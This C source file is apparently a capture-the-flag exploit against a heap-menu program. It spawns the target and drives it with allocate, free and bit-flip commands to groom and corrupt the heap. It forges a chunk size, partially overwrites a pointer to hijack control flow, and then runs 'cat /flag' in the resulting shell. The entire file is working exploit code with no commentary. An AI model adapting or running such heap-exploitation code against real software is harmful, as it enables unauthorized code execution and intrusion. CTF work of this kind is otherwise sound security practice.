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#include <stdio.h>
#include <signal.h>
#include <assert.h>
#include <stdint.h>
#include <fcntl.h>
#include <unistd.h>
#include <pty.h>
#include <string.h>
#include <stdlib.h>
char *
readuntil(FILE *io, const char *needle)
{
size_t n = 0;
char *line = NULL;
ssize_t size;
while ((size = getdelim(&line, &n, '\n', io)) > 0) {
if (needle && strstr(line, needle))
return line;
}
abort();
}
char *
readuntilc(FILE *io, char c)
{
char *line = NULL;
size_t size = 0;
if (getdelim(&line, &size, c, io) <= 0)
abort();
return line;
}
void
writeline(FILE *io, const char *line)
{
size_t size;
for (size = 0; line[size] != '\n'; size++);
fwrite(line, 1, size + 1, io);
}
unsigned
do_allocv(FILE *ior, FILE *iow, const char *buf)
{
writeline(iow, "a\n");
free(readuntilc(ior, ':'));
writeline(iow, buf);
free(readuntilc(ior, ':'));
char *line = readuntilc(ior, '\n');
char *tok = strrchr(line, ' ');
unsigned v = strtoul(tok, NULL, 0);
free(line);
return v;
}
int
do_alloc(FILE *ior, FILE *iow, size_t size)
{
char *buf = malloc(size + 1);
for (size_t i = 0; i < size; i++)
buf[i] = 'A';
buf[size] = '\n';
int res = do_allocv(ior, iow, buf);
free(buf);
return res;
}
void
do_free(FILE *ior, FILE *iow, unsigned index)
{
char buf[256];
writeline(iow, "r\n");
free(readuntilc(ior, ':'));
snprintf(buf, 256, "%u\n", index);
writeline(iow, buf);
}
void
do_flip(FILE *ior, FILE *iow, unsigned index, unsigned offset)
{
char buf[256];
writeline(iow, "f\n");
free(readuntilc(ior, ':'));
snprintf(buf, 256, "%u\n", index);
writeline(iow, buf);
free(readuntilc(ior, ':'));
snprintf(buf, 256, "%u\n", offset);
writeline(iow, buf);
}
void
spawn(const char *path, FILE **in, FILE **out)
{
int inp[2];
int outp[2];
if (pipe(inp)) abort();
if (pipe(outp)) abort();
pid_t pid = fork();
if (pid < 0) abort();
if (!pid) {
dup2(inp[1], 1);
close(inp[0]);
dup2(outp[0], 0);
close(outp[1]);
system(path);
abort();
}
*in = fdopen(inp[0], "r");
setbuf(*in, NULL);
*out = fdopen(outp[1], "w");
setbuf(*out, NULL);
}
int
main(int argc, const char **argv)
{
char *iobuf;
size_t iosize;
FILE *ior = NULL, *iow = NULL;
spawn(argv[1], &ior, &iow);
if (!ior || !iow) abort();
setvbuf(ior, NULL, 0, _IONBF);
signal(SIGCHLD, exit);
signal(SIGPIPE, exit);
free(readuntil(ior, "╰────────────────────────────────────────────────────╯"));
unsigned b = do_alloc(ior, iow, 0x76);
unsigned c = do_alloc(ior, iow, 0x76);
unsigned d = do_alloc(ior, iow, 0x76);
unsigned _a = do_alloc(ior, iow, 0x1dfffe);
unsigned _b = do_alloc(ior, iow, 0x1dfffe);
unsigned _c = do_alloc(ior, iow, 0xefffe);
unsigned _d = do_alloc(ior, iow, 0x77ffe);
unsigned _e = do_alloc(ior, iow, 0x3bffe);
unsigned _f = do_alloc(ior, iow, 0x3bffe);
unsigned a = do_alloc(ior, iow, 0x3bffe);
do_free(ior, iow, a);
do_free(ior, iow, b);
char *line = malloc(0xefffe + 1);
memset(line, 'A', 0xefffe);
line[0xefffe] = '\n';
*(uint64_t *)(line + 0xf1000 - 0x3d000 - 8) = 0x80 ^ 0b001;
assert(b == do_allocv(ior, iow, line));
free(line);
do_free(ior, iow, a);
do_free(ior, iow, c);
do_flip(ior, iow, c, 23);
do_alloc(ior, iow, 0x76);
char buf[256];
for (size_t i = 0; i < 0x40; i++)
buf[i] = 'A';
buf[0x40] = '\n';
writeline(iow, buf);
readuntilc(ior, ':');
for (size_t i = 0; i < 0x19; i++)
buf[i] = 'X';
buf[0x19] = '\n';
writeline(iow, buf);
line = readuntilc(ior, '\n');
char *tok = strrchr(line, ' ');
a = strtoul(tok, NULL, 0);
free(line);
for (size_t i = 0; i < 0x3e; i++)
buf[i] = 'E';
buf[0x3e] = '\n';
writeline(iow, buf);
readuntilc(ior, ':');
snprintf(buf, 256, "%i%*s", a, 100, "");
buf[0x3c] = '\n';
writeline(iow, buf);
readuntilc(ior, ':');
for (size_t i = 0; i < 0x18; i++)
buf[i] = 'X';
buf[0x18] = 0x70;
buf[0x19] = 0x5d;
buf[0x1a] = 0x9f;
buf[0x1b] = '\n';
writeline(iow, buf);
readuntilc(ior, '>');
writeline(iow, "cat /flag \n");
readuntilc(ior, '>');
for (size_t i = 0; i < 0x81; i++)
buf[i] = '!';
buf[0x81] = '\n';
writeline(iow, buf);
sleep(1);
}
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